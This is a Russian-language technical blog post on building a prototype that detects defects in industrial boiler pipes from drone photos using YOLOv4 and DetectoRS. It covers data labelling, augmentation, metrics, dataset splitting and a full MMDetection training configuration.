Машинное обучение (machine learning / ML) в общем и компьютерное зрение (computer vision / CV) в частности находят сегодня все больше применений в решение задач из промышленной области ([пример](https://habr.com/ru/company/yandex/blog/422087/)). Начиная от задач нахождения бракованных деталей на конвейере и заканчивая управлением беспилотным транспортом — везде используются глубокие архитектуры, позволяющие детектировать многочисленные объекты разных категорий, предсказывать пространственное расположение объектов друг относительно друга и многое другое.
Сегодня мы рассмотрим кейс (проект [Defects detector CV](http://phygitalism.com/en/defects-detector-cv-en/?utm_source=organic&utm_medium=habr&utm_campaign=maicv/)) по созданию прототипа программного обеспечения (ПО), которое использует нейронные сети, для того, чтобы на фото или видеопотоке детектировать объекты заданных категорий. В качестве предметной области, в данном проекте, выступила дефектоскопия промышленных труб.
*Рис 2.Схематичное изображение парового котла, аналогичного тому, что рассматривался в проекте.*
Кратко опишем предметную постановку задачи:
В системах теплового обогрева городов и промышленных предприятий используются специальные паровые котлы (см. пример на рис. 2), внутренность которых пронизана многочисленными трубами, которые в процессе эксплуатации могут получать различные повреждения (разного рода трещины, разрывы, деформации, коррозию и многое другое). Для того, чтобы своевременно устранять повреждения и поддерживать работоспособность котлов, периодически их работа останавливается, из них выкачиваются все жидкости, вскрывается проход во внутреннее пространство котла, которое представляет из себя ряд связанных пространственных отсеков без освещения, способных вместить внутрь себя трехэтажный дом. После производят очистку поверхности труб, выстраивают промышленные леса, чтобы у специалистов по дефектоскопии была возможность получить прямой доступ к трубам, которые они будут осматривать и проверять с помощью специальной аппаратуры. После того как все дефекты обнаружены, производится замена или ремонт поврежденных участков, после чего необходимо разобрать леса, законсервировать котел и снова его запустить.
Зачастую, большую часть времени отнимает сбор и демонтаж промышленных лесов и визуальный осмотр труб специалистами. Для того, чтобы сократить время на выполнение этих этапов было предложено использовать пилотируемый дрон с системой освещения, фото и видеосъемки, который смог бы быстро облететь внутреннее пространство котла (в том числе, небольшие размеры дрона позволяют попасть во внутрь труднодоступных узких шахт, куда человеку сложно проникнуть), собрать данные для обработки, и с помощью алгоритмов компьютерного зрения, выделить все обнаруженные дефекты.
Ниже речь пойдет о поиске и тестировании подходящих для рассматриваемой задачи глубоких архитектур машинного обучения и встраивание их в прототип программного обеспечения для анализа накапливаемых фото и видеоматериалов.
Мы постараемся осветить все основные этапы при разработке проекта, связанного с машинным
* обучением;
* сбор данных;
* разметка данных;
* дополнение данных (аугментация);
* обучение модели;
* оценка качества работы модели;
* подготовка к внедрению.
В первую очередь поговорим о самом главном с точки зрения машинного обучения объекте — о данных. Откуда их взять, в каком формате хранить обрабатывать, как из меньшего количества данных получить больше информации и пр.
Набор данных
============
*Рис. 3 Пример объекта обучающей выборки — фото, сделанное при осмотре внутренности остановленного котла.*
Данные в нашей задачи представлены классическим для CV образом — в виде цветных RGB снимков. На каждом снимки может как присутствовать сразу несколько дефектов, так и не присутствовать вовсе.
Ниже постараемся ответить на следующие основные вопросы о данных, которые возникают почти во всех проектах, связанных с компьютерным зрением:
* Как разметить сырые данные?
* Как разделить обучающую выборку на тестовую и обучающую?
* В каком формате хранить разметку и как структурировать датасет?
* Как имея выборку скромного размера, тем не менее добиваться приличного качества обучения?
* В какой форме нужно делать предсказания?
* Как оценивать качества новых предсказаний?
Виды задач распознавания образов на изображениях
------------------------------------------------
*Рис.4 Пример разметки для задачи детекции объектов на изображениях из датасета [MS COCO](https://cocodataset.org/). Иллюстрация из репозитория [detectron2](https://github.com/facebookresearch/detectron2).*
Сложность задачи в области компьютерного зрения отчасти определяется формой предсказания. Отметим сразу, что задача распознавания образов на изображения логически подразделяется на две подзадачи:
* выделения области интереса;
* классификация объекта в области интереса.
В зависимости от формы области интереса, задачи детекции делят на детектирование в виде ограничивающих прямоугольников (bounding boxes), в виде многоугольников, в виде битовых масок, в виде точек интереса и пр.
В нашей задаче были выбраны ограничивающие прямоугольники, но эксперименты с многоугольными областями также проводились.
Помимо формы предсказания, также необходимо было определить формат датасета (способ организации данных и аннотаций). Формат датасета обычно определяется группами исследователей и разработчиков, которые создают значимые датасеты или архитектуры. В нашем случае, датасеты рассматривались в форматах [MS COCO](https://cocodataset.org/) и [YOLO](https://github.com/AlexeyAB/darknet#how-to-train-to-detect-your-custom-objects).
Подробнее про задачи детекции объектов на изображениях и основные подходы при конструировании архитектур глубокого обучения для решения этой задачи можно прочитать [здесь](https://medium.com/zylapp/review-of-deep-learning-algorithms-for-object-detection-c1f3d437b852).
Про устройство формата MS COCO и формы предсказаний можно узнать [здесь](https://www.immersivelimit.com/tutorials/create-coco-annotations-from-scratch).
Разметка данных
---------------
*Рис. 5 Демонстрация работы CVAT для разметки дефекта трубы в виде полигональной маски.*
Для того, чтобы разметить сырые данные существует несколько основных способов. Во-первых, можно воспользоваться услугами сервисов облачной распределенной разметки данных, вроде [Amazon Mechanical Turk](https://www.mturk.com/) или [Яндекс.Толока](https://toloka.yandex.ru/), во-вторых, если данные приходят не из реального мира, а генерируются искусственно, то разметку можно генерировать вместе с данными, ну и самым доступным способом является использование специализированного ПО для разметки данных.
В нашей задаче, мы воспользовались вторым и третьим способами. Про наш [генератор синтетических данных](https://phygitalism.com/synthetic-data-generator/) мы расскажем отдельно во второй части. В качестве ПО для разметки мы выбрали [Intel CVAT](https://github.com/opencv/cvat) ([заметка про инструмент на Хабре](https://habr.com/ru/company/intel/blog/433772/)), который был развернут на сервере заказчика.
Некоторые альтернативные инструменты разметки:
* [Supervisely](https://supervise.ly/)
* [labelImg](https://github.com/tzutalin/labelImg)
* [VGG Image Annotator](http://www.robots.ox.ac.uk/~vgg/software/via/)
Усиление обобщающей способности
-------------------------------
В случае, когда данных для обучения мало и необходимо добиться хорошей обобщающей способности от алгоритма, обычно прибегают к разного рода “трюкам” — манипуляциям с данными.
*Рис. 5.1 Изображение из сообщества “[Memes on Machine Learning for Young Ladies](https://vk.com/weirdreparametrizationtrick)”. Там же можно увидеть [пример](https://vk.com/wall-131489096_6506) того как не нужно делать аугментации.*
Такие трюки могут быть связаны как с процессом обучения (использование [беггинга](https://ru.wikipedia.org/wiki/%D0%91%D1%8D%D0%B3%D0%B3%D0%B8%D0%BD%D0%B3) или [дропаута](https://ru.wikipedia.org/wiki/%D0%98%D1%81%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D0%B5_(%D0%BD%D0%B5%D0%B9%D1%80%D0%BE%D0%BD%D0%BD%D1%8B%D0%B5_%D1%81%D0%B5%D1%82%D0%B8))), так и с процессом подготовки данных ([аугментация данных](https://habr.com/ru/company/smartengines/blog/264677/)). При решении нашей задачи, чтобы расширить исходный датасет небольшого размера, мы прибегли к аугментации данных — различные преобразования исходных данных, такие как добавление шума к изображению, различные повороты и растяжения, обесцвечивание и многое другое. Для обеих архитектур были подготовлены одинаковые датасеты с аугментированными изображениями, хотя стоит отметить, что у обоих фреймворков есть встроенные возможности автоматической аугментации в процессе обучения (заложено в возможностях фреймворков).
Подробнее про примеры аугментации данных в задачах компьютерного зрения можно прочитать [здесь](https://towardsdatascience.com/data-augmentation-for-deep-learning-4fe21d1a4eb9) и [здесь](https://medium.com/nanonets/how-to-use-deep-learning-when-you-have-limited-data-part-2-data-augmentation-c26971dc8ced).
Метрики качества
----------------
Для того, чтобы измерять качество работы алгоритма после процесса обучения на тестовой выборке в задачах детекции объектов на изображениях традиционно используют метрику ***mean average precision (mAP)***, рассчитанную для каждого класса по отдельности и усредненную для всех классов. Значение этой метрики рассчитываются при разных уровнях характеристики ***Intersection over Union (IoU)***. Здесь мы не будем подробно останавливаться на разъяснении устройства этих функций, всем заинтересованным предлагаем пройти по ссылкам ниже на статьи и заметки, которые помогут освоится в данном вопросе, но все же поясним некоторые основные моменты оценки качества работы алгоритмов в нашей задаче.
Для оценки результатов были выбраны следующие метрики:
* mAP (mean average precision) — среднее значение точности по всем классам (поскольку у термина могут быть разные трактовки, рекомендуем ознакомится с различными вариантами [здесь](https://ml.i-neti.com/ru/2019/07/05/russkiy-map-mean-average-precision-v-detektsii-obektov/)).
* AP (средняя точность) — средняя точность по каждому отдельному классу.
* Precision Recall кривая.
* Число случаев когда дефект был обнаружен и он на самом деле был (TP).
* Число случаев когда дефект был обнаружен, но его не было на самом деле (FP) т. е. ложное срабатывание.
Расчет метрик производился следующим образом. Так как целевым объектом для оценки был ограничивающий прямоугольник (bounding box), то интерес для оценки представляет три свойства:
* Насколько модель уверена в предсказании. Чем выше уверенность, тем более надёжным будет результат. В идеале все правильные предсказания должны быть с высокой степенью уверенности.
* Правильно ли предсказан класс объекта.
* Насколько предсказанный ограничивающий прямоугольник совпадает с правильным.
Под правильным подразумевается тот ограничивающий прямоугольник, который был в разметке. Здесь появляется вопрос о важности качественной разметки для обучения нейронных сетей.
Рассмотрим пример вычисления метрик на основе примера из рис. ниже. Для этого определяется величина IoU, которая равна отношению площади пересечения прямоугольников (серый прямоугольник) к площади их объединения. Она принимает значения в отрезке [0;1]. Можно выбрать определённый порог и считать, что при превышении этого порога прямоугольники совпадают.
**Определение TP:**
Если IoU больше определенного порога и метки классов совпадают, то предсказание считается правильным.
**Определение FP:**
Если IoU меньше определенного порога и метки классов совпадают, то предсказание считается ложным.
На основании этих показателей рассчитывается точность и полнота. Если кратко, то точность показывает насколько хорошо модель предсказывает дефекты определенного класса из тех которые были обнаружены вообще. Чем больше значение, тем меньше ошибок совершается. Значение в отрезке от [0;1].
*Рис. 6 Пример рассчитанной Precision-Recall кривой для одного из классов дефектов для архитектуры DetectoRS.*
Полнота показывает способность модели найти все дефекты определенного класса. Чем выше значение тем больше будет обнаруживаться дефектов, но не все могут быть точно предсказаны Эти величины взаимосвязаны. Как правило, чем больше точность, тем меньше полнота и наоборот. Т. к. предсказания зависят от некоторого порога принятия решения, то строят графики точности-полноты при разных значениях порога принятия решения для его оптимального определения и оценки возможностей модели.
*Рис. 7 Сравнение технических метрик для выбранных архитектур для процесса обучения.*
Подробную статью про метрики качества и функции ошибок в задачах компьютерного зрения можно найти [здесь](https://www.research.ed.ac.uk/portal/files/20017166/ijcv_voc14.pdf). Про метрики в задачах машинного обучения в целом смотрите [эту](https://habr.com/ru/company/ods/blog/328372/) замечательную заметку на хабре.
Заметку с примерами и объяснениями всей терминологии про метрики качества в CV можно посмотреть [здесь](https://medium.com/@jonathan_hui/map-mean-average-precision-for-object-detection-45c121a31173).
Помимо метрик качества задачи детекции, на практике также важны технические метрики реализации, такие как скорость работы сети и место в памяти, которое сеть занимает, также важным фактором может стать время, необходимое для обучения.
\*Рис. 8 Сравнение технических метрик для выбранных архитектур для процесса использования.\* *тестирование проводилось на видеокарте RTX 2080 Ti,* тестирование проводилось на CPU AMD Ryzen 7 2700X Eight-Core Processor.\*
Деление данных на обучающую и тестовую выборку
----------------------------------------------
Для тестирования алгоритмов и оценки качества их работы часто нужно поделить данные на несколько частей. Одна часть используется при обучении, а другая для проверки обобщающей способности и подсчета метрик. Обычно это не представляет проблемы, но в нашем случае ситуация сложнее, т. к. каждое изображение (объект) может содержать несколько классов и в разном количестве. Изображение атомарно и мы не можем его как-то разделить логически, чтобы число примеров каждого класса поделилось в нужном соотношении. Тут стоит заметить, что фактически можно разделить изображение на множество отдельных частей, в которых есть только один класс, но это приведёт к уничтожению изначальной структуры изображений.
Рассмотрим пример, изображенный на рис. 9 — случай, когда каждый объект принадлежит одному классу:
*Рис. 9 Деление данных на тестовую и обучающую выборку.*
Особой проблемы здесь нет и разделение на две выборке можно сделать достаточно просто. В нашем же случае картина с распределением объектов и классов будет такая:
*Рис. 10 Каждый объект может содержать иметь несколько классов.*
Для решения проблемы разделения такого вида данных на подвыборки была использована библиотека `scikit-multilearn` и метод [iterative\_train\_test\_split](http://scikit.ml/stratification.html). На вход подавалась матрица из нулей и единиц. Каждая строка обозначала изображение. Единицы стояли в столбцах с номерами соответствующими номерам классов. Если применить функцию к объектам на рис. выше, то получится следующее разделение:
*Рис. 11 Результат разделения на тестовую и обучающую выборку.*
Конечно, здесь не учитывается количество повторений классов в рамках одного изображения (объекта), поэтому деление может быть несбалансированным.
Выбор архитектуры
=================
На основе результатов анализа известных архитектур собранных на paperwithcode (на момент 3 квартала 2020 года) для детектирования дефектов были выбраны две архитектуры:
* [YOLOv4](https://arxiv.org/pdf/2004.10934.pdf)
* [DetectoRS](https://arxiv.org/pdf/2006.02334.pdf)
*Рис. 12 Сравнение архитектур на бенчмарке MS COCO object detection с сайта papesrwithcode (3 квартал 2020 года).*
*Рис.13 Сравнение архитектур на бенчмарке MS COCO, полученное авторами архитектуры YOLOv4.*
YOLOv4 попала в этот список из-за своей скорости работы. Мы хотели посмотреть на результаты разных моделей и выбрать итоговый вариант в зависимости от требований. Потенциально могла быть потребность в обработке видео и для этого случая планировалось использовать YOLOv4. Более точная, но медленная работа ожидалась от DetectoRS.
Больше информации о том, как конструируются современные глубокие архитектуры для задач детекции объектов на изображениях можно прочитать в [этой статье](https://arxiv.org/pdf/1807.05511.pdf) или в [этой заметке](https://medium.com/zylapp/review-of-deep-learning-algorithms-for-object-detection-c1f3d437b852).
DetectoRS
---------
Данная архитектура базируется на использовании специального типа сверток (Switchable Atrouse Convolution / SAC) и в верхнем уровне устроена в виде рекурсивной пирамиды (Recursive Feature Pyramid / RFP), объединяющий локальные и глобальные признаки.
*Рис. 14 Основные нововведения, используемые авторами архитектуры DetectoRS: (a) — рекурсивная пирамида признаковых описаний, используемая для объединения глобальных признаков на изображении; (b) — [переключательные свертки типа “atrouse”](https://arxiv.org/pdf/1412.7062.pdf) для работы с локальными признаками.*
Реализация данной модели присутствует внутри фреймворка [MMDetection](https://github.com/open-mmlab/mmdetection).
Об устройстве архитектуры можно прочитать [здесь](https://medium.com/visionwizard/detectors-state-of-the-art-object-detector-from-google-research-e0b89abdd1fc).
YOLOv4
------
Эта модель делает свои предсказания на основе анализа изображения, разбивая его на квадратную сетку как на рис. ниже:
*Рис. 15 Принцип работы из оригинальной статьи про [YOLO](https://arxiv.org/abs/1506.02640).*
Видео с объяснением работы можно найти [здесь](https://medium.com/deepsystems-ru/yolo-you-only-look-once-%D0%BE%D0%B1%D0%B7%D0%BE%D1%80-%D0%B0%D1%80%D1%85%D0%B8%D1%82%D0%B5%D0%BA%D1%82%D1%83%D1%80%D1%8B-482ac4d92df6).
YOLOv4 это дальнейшее улучшение (четвертая версия) оригинальной архитектуры как с точки зрения устройства так и процесса обучения. В [данной статье](https://arxiv.org/pdf/2004.10934.pdf) про YOLOv4 исследуются как различные техники аугментации изображений влияют на конечный результат.
Фреймворки для обучения моделей в задачах CV
============================================
Для того, чтобы экспериментировать с различными архитектурами, выстраивать процессы загрузки изображений, аугментации данных, расчета метрик, визуализации результатов и решение других сопутствующих задач, исследователи создают собственные фреймворки, включающие весь функционал.
Для разработки под Python, двумя наиболее популярными фреймворками являются [MMdetection](https://github.com/open-mmlab/mmdetection) (open source) и [Detectron2](https://github.com/facebookresearch/detectron2) (Facebook research). Для разработки под C, существует фреймворк [Darknet](https://pjreddie.com/darknet/) (open source). Подробнее про то, как использовать данные фреймворки можно прочитать в заметках [один](https://medium.com/datadriveninvestor/how-to-train-an-object-detection-model-with-mmdetection-4c4e2b978c9f), [два](https://medium.com/deepvisionguru/how-to-embed-detectron2-in-your-computer-vision-project-817f29149461), [три](https://medium.com/analytics-vidhya/installing-darknet-on-windows-462d84840e5a).
MMDetection
-----------
Поскольку архитектура DetectoRS имела единственную реализацию на момент работы над проектом и эта реализация была написана на фреймворке MMDetection, имплементация архитектуры была основана на использовании данного фреймворка.
### Устройство фреймворка
Для того, чтобы организовать процесс обучения сети с помощью данного фреймворка, необходимо:
* подготовить веса при тренированной модели в формате `.pth` или прописать самостоятельно инициализацию новых весов;
* написать конфигурационный файл в виде Python скрипта со всеми настройками для сети и описание хода обучения, валидации и пр.;
* выбрать способ логирования процесса обучения (доступна запись в текстовый файл и логирование с помощью tensorboard);
* организовать данные в файловой системе согласно выбранному типу разметки (доступны MS COCO, Pascal VOC и поддерживается возможность внедрение пользовательских форматов);
* написать основный скрипт, собирающий воедино все перечисленные выше составные части.
После тестов локально на компьютере, на котором была установлена и развернута среда для работы с MMDetection, аналогично YOLOv4, сборка была перенесена внутрь [NVidia Docker](https://github.com/NVIDIA/nvidia-docker) контейнера.
Основная сложность при работе с данным фреймворком, как нам показалась, заключается в аккуратном прописывании конфигурационного файла. Примеры конфигурационных файлов и туториал по их составлению можно найти на [странице проекта с документацией](https://mmdetection.readthedocs.io/en/latest/tutorials/config.html).
**Наш конфигурационный файл для обучения на данных с трубами для 9 классов дефектов:**
```
# Обучения на 9 классах без масок
model = dict(
type='CascadeRCNN',
pretrained='torchvision://resnet50',
backbone=dict(
type='DetectoRS_ResNet',
depth=50,
num_stages=4,
out_indices=(0, 1, 2, 3),
frozen_stages=1,
norm_cfg=dict(type='BN', requires_grad=True),
norm_eval=True,
style='pytorch',
conv_cfg=dict(type='ConvAWS'),
sac=dict(type='SAC', use_deform=True),
stage_with_sac=(False, True, True, True),
output_img=True),
neck=dict(
type='RFP',
in_channels=[256, 512, 1024, 2048],
out_channels=256,
num_outs=5,
rfp_steps=2,
aspp_out_channels=64,
aspp_dilations=(1, 3, 6, 1),
rfp_backbone=dict(
rfp_inplanes=256,
type='DetectoRS_ResNet',
depth=50,
num_stages=4,
out_indices=(0, 1, 2, 3),
frozen_stages=1,
norm_cfg=dict(type='BN', requires_grad=True),
norm_eval=True,
conv_cfg=dict(type='ConvAWS'),
sac=dict(type='SAC', use_deform=True),
stage_with_sac=(False, True, True, True),
pretrained='torchvision://resnet50',
style='pytorch')),
rpn_head=dict(
type='RPNHead',
in_channels=256,
feat_channels=256,
anchor_generator=dict(
type='AnchorGenerator',
scales=[8],
ratios=[0.5, 1.0, 2.0],
strides=[4, 8, 16, 32, 64]),
bbox_coder=dict(
type='DeltaXYWHBBoxCoder',
target_means=[0.0, 0.0, 0.0, 0.0],
target_stds=[1.0, 1.0, 1.0, 1.0]),
loss_cls=dict(
type='CrossEntropyLoss', use_sigmoid=True, loss_weight=1.0),
loss_bbox=dict(
type='SmoothL1Loss', beta=0.1111111111111111, loss_weight=1.0)),
roi_head=dict(
type='CascadeRoIHead',
num_stages=3,
stage_loss_weights=[1, 0.5, 0.25],
bbox_roi_extractor=dict(
type='SingleRoIExtractor',
roi_layer=dict(type='RoIAlign', out_size=7, sample_num=0),
out_channels=256,
featmap_strides=[4, 8, 16, 32]),
bbox_head=[
dict(
type='Shared2FCBBoxHead',
in_channels=256,
fc_out_channels=1024,
roi_feat_size=7,
num_classes=9,
bbox_coder=dict(
type='DeltaXYWHBBoxCoder',
target_means=[0.0, 0.0, 0.0, 0.0],
target_stds=[0.1, 0.1, 0.2, 0.2]),
reg_class_agnostic=True,
loss_cls=dict(
type='CrossEntropyLoss',
use_sigmoid=False,
loss_weight=1.0),
loss_bbox=dict(type='SmoothL1Loss', beta=1.0,
loss_weight=1.0)),
dict(
type='Shared2FCBBoxHead',
in_channels=256,
fc_out_channels=1024,
roi_feat_size=7,
num_classes=9,
bbox_coder=dict(
type='DeltaXYWHBBoxCoder',
target_means=[0.0, 0.0, 0.0, 0.0],
target_stds=[0.05, 0.05, 0.1, 0.1]),
reg_class_agnostic=True,
loss_cls=dict(
type='CrossEntropyLoss',
use_sigmoid=False,
loss_weight=1.0),
loss_bbox=dict(type='SmoothL1Loss', beta=1.0,
loss_weight=1.0)),
dict(
type='Shared2FCBBoxHead',
in_channels=256,
fc_out_channels=1024,
roi_feat_size=7,
num_classes=9,
bbox_coder=dict(
type='DeltaXYWHBBoxCoder',
target_means=[0.0, 0.0, 0.0, 0.0],
target_stds=[0.033, 0.033, 0.067, 0.067]),
reg_class_agnostic=True,
loss_cls=dict(
type='CrossEntropyLoss',
use_sigmoid=False,
loss_weight=1.0),
loss_bbox=dict(type='SmoothL1Loss', beta=1.0, loss_weight=1.0))
],
train_cfg=[
dict(
assigner=dict(
type='MaxIoUAssigner',
pos_iou_thr=0.5,
neg_iou_thr=0.5,
min_pos_iou=0.5,
match_low_quality=False,
ignore_iof_thr=-1),
sampler=dict(
type='RandomSampler',
num=512,
pos_fraction=0.25,
neg_pos_ub=-1,
add_gt_as_proposals=True),
pos_weight=-1,
debug=False),
dict(
assigner=dict(
type='MaxIoUAssigner',
pos_iou_thr=0.6,
neg_iou_thr=0.6,
min_pos_iou=0.6,
match_low_quality=False,
ignore_iof_thr=-1),
sampler=dict(
type='RandomSampler',
num=512,
pos_fraction=0.25,
neg_pos_ub=-1,
add_gt_as_proposals=True),
pos_weight=-1,
debug=False),
dict(
assigner=dict(
type='MaxIoUAssigner',
pos_iou_thr=0.7,
neg_iou_thr=0.7,
min_pos_iou=0.7,
match_low_quality=False,
ignore_iof_thr=-1),
sampler=dict(
type='RandomSampler',
num=512,
pos_fraction=0.25,
neg_pos_ub=-1,
add_gt_as_proposals=True),
pos_weight=-1,
debug=False)
],
test_cfg=dict(
score_thr=0.05, nms=dict(type='nms', iou_thr=0.5),
max_per_img=100)))
train_cfg = dict(
rpn=dict(
assigner=dict(
type='MaxIoUAssigner',
pos_iou_thr=0.7,
neg_iou_thr=0.3,
min_pos_iou=0.3,
match_low_quality=True,
ignore_iof_thr=-1),
sampler=dict(
type='RandomSampler',
num=256,
pos_fraction=0.5,
neg_pos_ub=-1,
add_gt_as_proposals=False),
allowed_border=0,
pos_weight=-1,
debug=False),
rpn_proposal=dict(
nms_across_levels=False,
nms_pre=2000,
nms_post=2000,
max_num=2000,
nms_thr=0.7,
min_bbox_size=0),
rcnn=[
dict(
assigner=dict(
type='MaxIoUAssigner',
pos_iou_thr=0.5,
neg_iou_thr=0.5,
min_pos_iou=0.5,
match_low_quality=False,
ignore_iof_thr=-1),
sampler=dict(
type='RandomSampler',
num=512,
pos_fraction=0.25,
neg_pos_ub=-1,
add_gt_as_proposals=True),
pos_weight=-1,
debug=False),
dict(
assigner=dict(
type='MaxIoUAssigner',
pos_iou_thr=0.6,
neg_iou_thr=0.6,
min_pos_iou=0.6,
match_low_quality=False,
ignore_iof_thr=-1),
sampler=dict(
type='RandomSampler',
num=512,
pos_fraction=0.25,
neg_pos_ub=-1,
add_gt_as_proposals=True),
pos_weight=-1,
debug=False),
dict(
assigner=dict(
type='MaxIoUAssigner',
pos_iou_thr=0.7,
neg_iou_thr=0.7,
min_pos_iou=0.7,
match_low_quality=False,
ignore_iof_thr=-1),
sampler=dict(
type='RandomSampler',
num=512,
pos_fraction=0.25,
neg_pos_ub=-1,
add_gt_as_proposals=True),
pos_weight=-1,
debug=False)
])
test_cfg = dict(
rpn=dict(
nms_across_levels=False,
nms_pre=1000,
nms_post=1000,
max_num=1000,
nms_thr=0.7,
min_bbox_size=0),
rcnn=dict(
score_thr=0.05, nms=dict(type='nms', iou_thr=0.5), max_per_img=100))
dataset_type = 'CocoDataset'
data_root = 'data/coco/'
classes = ('ПРМУ_поперечная трещина на изгибе', 'ПРМУ_выход трубы из ряда',
'ПРМУ_Крип', 'ПРМУ_свищи', 'ПРМУ_разрыв трубы',
'ПРМУ_поперечная трещина в околошовной зоне',
'ПРМУ_трещина в основном металле', 'ПРМУ_продольные трещины',
'ПРМУ_Цвета побежалости')
img_norm_cfg = dict(
mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_rgb=True)
train_pipeline = [
dict(type='LoadImageFromFile'),
dict(type='LoadAnnotations', with_bbox=True),
dict(type='Resize', img_scale=(1280, 720), keep_ratio=True),
dict(type='RandomFlip', flip_ratio=0.5),
dict(
type='Normalize',
mean=[123.675, 116.28, 103.53],
std=[58.395, 57.12, 57.375],
to_rgb=True),
dict(type='Pad', size_divisor=32),
dict(type='DefaultFormatBundle'),
dict(type='Collect', keys=['img', 'gt_bboxes', 'gt_labels'])
]
test_pipeline = [
dict(type='LoadImageFromFile'),
dict(
type='MultiScaleFlipAug',
img_scale=(1280, 720),
flip=False,
transforms=[
dict(type='Resize', keep_ratio=True),
dict(type='RandomFlip'),
dict(
type='Normalize',
mean=[123.675, 116.28, 103.53],
std=[58.395, 57.12, 57.375],
to_rgb=True),
dict(type='Pad', size_divisor=32),
dict(type='ImageToTensor', keys=['img']),
dict(type='Collect', keys=['img'])
])
]
data = dict(
samples_per_gpu=2,
workers_per_gpu=1,
train=dict(
type='CocoDataset',
classes=('ПРМУ_поперечная трещина на изгибе',
'ПРМУ_выход трубы из ряда', 'ПРМУ_Крип', 'ПРМУ_свищи',
'ПРМУ_разрыв трубы',
'ПРМУ_поперечная трещина в околошовной зоне',
'ПРМУ_трещина в основном металле', 'ПРМУ_продольные трещины',
'ПРМУ_Цвета побежалости'),
ann_file='data/coco/annotations/instances_train.json',
img_prefix='data/coco/train/',
pipeline=[
dict(type='LoadImageFromFile'),
dict(type='LoadAnnotations', with_bbox=True),
dict(type='Resize', img_scale=(1280, 720), keep_ratio=True),
dict(type='RandomFlip', flip_ratio=0.5),
dict(
type='Normalize',
mean=[123.675, 116.28, 103.53],
std=[58.395, 57.12, 57.375],
to_rgb=True),
dict(type='Pad', size_divisor=32),
dict(type='DefaultFormatBundle'),
dict(type='Collect', keys=['img', 'gt_bboxes', 'gt_labels'])
]),
val=dict(
type='CocoDataset',
classes=('ПРМУ_поперечная трещина на изгибе',
'ПРМУ_выход трубы из ряда', 'ПРМУ_Крип', 'ПРМУ_свищи',
'ПРМУ_разрыв трубы',
'ПРМУ_поперечная трещина в околошовной зоне',
'ПРМУ_трещина в основном металле', 'ПРМУ_продольные трещины',
'ПРМУ_Цвета побежалости'),
ann_file='data/coco/annotations/instances_val.json',
img_prefix='data/coco/val/',
pipeline=[
dict(type='LoadImageFromFile'),
dict(
type='MultiScaleFlipAug',
img_scale=(1280, 720),
flip=False,
transforms=[
dict(type='Resize', keep_ratio=True),
dict(type='RandomFlip'),
dict(
type='Normalize',
mean=[123.675, 116.28, 103.53],
std=[58.395, 57.12, 57.375],
to_rgb=True),
dict(type='Pad', size_divisor=32),
dict(type='ImageToTensor', keys=['img']),
dict(type='Collect', keys=['img'])
])
]),
test=dict(
type='CocoDataset',
classes=('ПРМУ_поперечная трещина на изгибе',
'ПРМУ_выход трубы из ряда', 'ПРМУ_Крип', 'ПРМУ_свищи',
'ПРМУ_разрыв трубы',
'ПРМУ_поперечная трещина в околошовной зоне',
'ПРМУ_трещина в основном металле', 'ПРМУ_продольные трещины',
'ПРМУ_Цвета побежалости'),
ann_file='data/coco/annotations/instances_val.json',
img_prefix='data/coco/val/',
pipeline=[
dict(type='LoadImageFromFile'),
dict(
type='MultiScaleFlipAug',
img_scale=(1280, 720),
flip=False,
transforms=[
dict(type='Resize', keep_ratio=True),
dict(type='RandomFlip'),
dict(
type='Normalize',
mean=[123.675, 116.28, 103.53],
std=[58.395, 57.12, 57.375],
to_rgb=True),
dict(type='Pad', size_divisor=32),
dict(type='ImageToTensor', keys=['img']),
dict(type='Collect', keys=['img'])
])
]))
evaluation = dict(interval=1, metric='bbox')
optimizer = dict(type='SGD', lr=0.0001, momentum=0.9, weight_decay=0.0001)
optimizer_config = dict(grad_clip=None, type='OptimizerHook')
lr_config = dict(
policy='step',
warmup=None,
warmup_iters=500,
warmup_ratio=0.001,
step=[8, 11],
type='StepLrUpdaterHook')
total_epochs = 12
checkpoint_config = dict(interval=-1, type='CheckpointHook')
log_config = dict(
interval=10,
hooks=[dict(type='TextLoggerHook'),
dict(type='TensorboardLoggerHook')])
dist_params = dict(backend='nccl')
log_level = 'INFO'
load_from = './checkpoints/detectors_cascade_rcnn_r50_1x_coco-32a10ba0.pth'
resume_from = None
workflow = [('train', 1)]
work_dir = './logs'
seed = 0
gpu_ids = range(0, 1)
```
### Обучение модели
Обучение модели занимало порядка 2 часов на RTX 2080 Ti. Прогресс можно было отслеживать с помощью запущенного tensorboard. Ниже приведены графики эволюции метрик и функции ошибки в процессе обучения на реальных данных.
*Рис. 16 Зависимость mAP от числа итераций обучения для архитектуры DetectoRS для датасета дефектов труб по 9 классам на валидационном датасете.*
*Рис. 17 Зависимость функции потерь (multiclass cross entropy) от числа итераций обучения для архитектуры DetectoRS для датасета дефектов труб по 9 классам.*
### Подготовка модели для использования
После того, как сеть была обучена, ее конфигурационный файл и веса, были помещены внутрь отдельного NVidia Docker контейнера вместе с самим фреймворком и необходимыми зависимостями, для того, чтобы использовать готовую архитектуру внутри прототипа ПО для детекции дефектов.
Стоит отметить, что, несмотря на то, что данная архитектура обучается в несколько раз быстрее чем YOLOv4, она занимает в 2 раза больше памяти (500 MB для DetectoRS против 250 MB для YOLOv4 для хранения весов модели) и работает на порядок медленнее (1 с. для DetectoRS против 10 мс. для YOLOv4).
Малое время обучения DetectoRS отчасти объясняется тем, что веса базовых слоев сети (backbone и neck) были взяты из претренированной на ImageNet датасете аналогичной архитектуры и в процессе обучения не изменялись. Такой прием называется transfer learning. Про него вы можете подробнее прочитать в [этой заметке](https://medium.com/kansas-city-machine-learning-artificial-intelligen/an-introduction-to-transfer-learning-in-machine-learning-7efd104b6026).
Darknet
-------
Оригинальная реализация YOLOV4 написана на C c использованием CUDA C. Было принято решение использовать оригинальную реализацию модели, хотя обычно доминируют эксперименты на Python. Это накладывало свои ограничения и риски, связанные с необходимость разбираться в коде на C, в случае каких-то проблем или переделки частей под свои нужды. Подробной документации с примерами не было, поэтому пришлось в некоторых местах смотреть исходный код на C.
Для успешного запуска нужно было решить несколько проблем:
1. Собрать проект.
2. Понять что необходимо для обучения модели.
3. Обучить модель.
4. Подготовить код для использования.
### Сборка проекта
Первая сборка проекта происходила на Windows. Для сборки использовался CMake, поэтому особых проблем с этим не возникло. Единственная проблема была с компиляцией динамической библиотеки для обёртки на Python. Пришлось редактировать файл с проектом для Visual Studio, чтобы включить поддержку CUDA. Динамическая библиотека была нужна т. к. это позволяло использовать код на Python для запуска модели.
